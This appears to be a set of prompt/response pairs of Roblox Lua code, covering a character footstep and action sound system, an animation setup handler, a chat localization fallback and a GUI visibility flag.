		SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3",
		Looped = true,
	},
	Died = {
		SoundId = "rbxasset://sounds/uuhhh.mp3",
	},
	FreeFalling = {
		SoundId = "rbxasset://sounds/action_falling.mp3",
		Looped = true,
	},
	GettingUp = {
		SoundId = "rbxasset://sounds/action_get_up.mp3",
	},
	Jumping = {
		SoundId = "rbxasset://sounds/action_jump.mp3",
	},
	Landing = {
		SoundId = "rbxasset://sounds/action_jump_land.mp3",
	},
	Running = {
		SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3",
		Looped = true,
		Pitch = 1.85,
	},
	Splash = {
		SoundId = "rbxasset://sounds/impact_water.mp3",
	},
	Swimming = {
		SoundId = "rbxasset://sounds/action_swim.mp3",
		Looped = true,
		Pitch = 1.6,
	},
}


Prompt: -- map a value from one range to another

Response:
local function map(x, inMin, inMax, outMin, outMax)
	return (x - inMin)*(outMax - outMin)/(inMax - inMin) + outMin
end

local function playSound(sound)
	sound.TimePosition = 0
	sound.Playing = true
end

local function stopSound(sound)
	sound.Playing = false
	sound.TimePosition = 0
end

local function initializeSoundSystem(humanoid, rootPart)
	local sounds = {}

	-- initialize sounds
	for name, props in pairs(SOUND_DATA) do
		local sound = Instance.new("Sound")
		sound.Name = name

		-- set default values
		sound.Archivable = false
		sound.EmitterSize = 5
		sound.MaxDistance = 150
		sound.Volume = 0.65

		for propName, propValue in pairs(props) do
			sound[propName] = propValue
		end

		sound.Parent = rootPart
		sounds[name] = sound
	end

	local playingLoopedSounds = {}

	local function stopPlayingLoopedSounds(except)
		for sound in pairs(playingLoopedSounds) do
			if sound ~= except then
				sound.Playing = false
				playingLoopedSounds[sound] = nil
			end
		end
	end

	-- state transition callbacks
	local stateTransitions = {
		[Enum.HumanoidStateType.FallingDown] = function()
			stopPlayingLoopedSounds()
		end,

		[Enum.HumanoidStateType.GettingUp] = function()
			stopPlayingLoopedSounds()
			playSound(sounds.GettingUp)
		end,

		[Enum.HumanoidStateType.Jumping] = function()
			stopPlayingLoopedSounds()
			playSound(sounds.Jumping)
		end,

		[Enum.HumanoidStateType.Swimming] = function()
			local verticalSpeed = math.abs(rootPart.Velocity.Y)
			if verticalSpeed > 0.1 then
				sounds.Splash.Volume = math.clamp(map(verticalSpeed, 100, 350, 0.28, 1), 0, 1)
				playSound(sounds.Splash)
			end
			stopPlayingLoopedSounds(sounds.Swimming)
			sounds.Swimming.Playing = true
			playingLoopedSounds[sounds.Swimming] = true
		end,

		[Enum.HumanoidStateType.Freefall] = function()
			sounds.FreeFalling.Volume = 0
			stopPlayingLoopedSounds(sounds.FreeFalling)
			playingLoopedSounds[sounds.FreeFalling] = true
		end,

		[Enum.HumanoidStateType.Landed] = function()
			stopPlayingLoopedSounds()
			local verticalSpeed = math.abs(rootPart.Velocity.Y)
			if verticalSpeed > 75 then
				sounds.Landing.Volume = math.clamp(map(verticalSpeed, 50, 100, 0, 1), 0, 1)
				playSound(sounds.Landing)
			end
		end,

		[Enum.HumanoidStateType.Running] = function()
			stopPlayingLoopedSounds(sounds.Running)
			sounds.Running.Playing = true
			playingLoopedSounds[sounds.Running] = true
		end,

		[Enum.HumanoidStateType.Climbing] = function()
			local sound = sounds.Climbing
			if math.abs(rootPart.Velocity.Y) > 0.1 then
				sound.Playing = true
				stopPlayingLoopedSounds(sound)
			else
				stopPlayingLoopedSounds()
			end
			playingLoopedSounds[sound] = true
		end,

		[Enum.HumanoidStateType.Seated] = function()
			stopPlayingLoopedSounds()
		end,

		[Enum.HumanoidStateType.Dead] = function()
			stopPlayingLoopedSounds()
			playSound(sounds.Died)
		end,
	}

	-- updaters for looped sounds
	local loopedSoundUpdaters = {
		[sounds.Climbing] = function(dt, sound, vel)
			sound.Playing = vel.Magnitude > 0.1
		end,

		[sounds.FreeFalling] = function(dt, sound, vel)
			if vel.Magnitude > 75 then
				sound.Volume = math.clamp(sound.Volume + 0.9*dt, 0, 1)
			else
				sound.Volume = 0
			end
		end,

		[sounds.Running] = function(dt, sound, vel)
			sound.Playing = vel.Magnitude > 0.5 and humanoid.MoveDirection.Magnitude > 0.5
		end,
	}

	-- state substitutions to avoid duplicating entries in the state table
	local stateRemap = {
		[Enum.HumanoidStateType.RunningNoPhysics] = Enum.HumanoidStateType.Running,
	}

	local activeState = stateRemap[humanoid:GetState()] or humanoid:GetState()
	local activeConnections = {}

	local stateChangedConn = humanoid.StateChanged:Connect(function(_, state)
		state = stateRemap[state] or state

		if state ~= activeState then
			local transitionFunc = stateTransitions[state]

			if transitionFunc then
				transitionFunc()
			end

			activeState = state
		end
	end)

	local steppedConn = RunService.Stepped:Connect(function(_, worldDt)
		-- update looped sounds on stepped
		for sound in pairs(playingLoopedSounds) do
			local updater = loopedSoundUpdaters[sound]

			if updater then
				updater(worldDt, sound, rootPart.Velocity)
			end
		end
	end)

	local humanoidAncestryChangedConn
	local rootPartAncestryChangedConn

	local function terminate()
		stateChangedConn:Disconnect()
		steppedConn:Disconnect()
		humanoidAncestryChangedConn:Disconnect()
		rootPartAncestryChangedConn:Disconnect()
	end

	humanoidAncestryChangedConn = humanoid.AncestryChanged:Connect(function(_, parent)
		if not parent then
			terminate()
		end
	end)

	rootPartAncestryChangedConn = rootPart.AncestryChanged:Connect(function(_, parent)
		if not parent then
			terminate()
		end
	end)
end

local character = script.Parent
local humanoid = character:WaitForChild("Humanoid")
local rootPart = character:FindFirstChild("HumanoidRootPart") or character:FindFirstChild("Torso")

return initializeSoundSystem(humanoid, rootPart)


Prompt: -- Setup animation objects

Response:
function scriptChildModified(child)
	local fileList = animNames[child.Name]
	if (fileList ~= nil) then
		configureAnimationSet(child.Name, fileList)
	end
end

script.ChildAdded:Connect(scriptChildModified)
script.ChildRemoved:Connect(scriptChildModified)

for name, fileList in pairs(animNames) do
	configureAnimationSet(name, fileList)
end


Prompt: -- ROBLOX FIXME: Can we define ClientChatModules statically in the project config

Response:
pcall(function() ChatLocalization = require((game:GetService("Chat") :: any).ClientChatModules.ChatLocalization :: any) end)
ChatLocalization = ChatLocalization or {}

if not ChatLocalization.FormatMessageToSend or not ChatLocalization.LocalizeFormattedMessage then
	function ChatLocalization:FormatMessageToSend(key,default) return default end
end


Prompt: --GUI setup--

Response: local BoostGaugeVisible = true -- true=visible false=not visible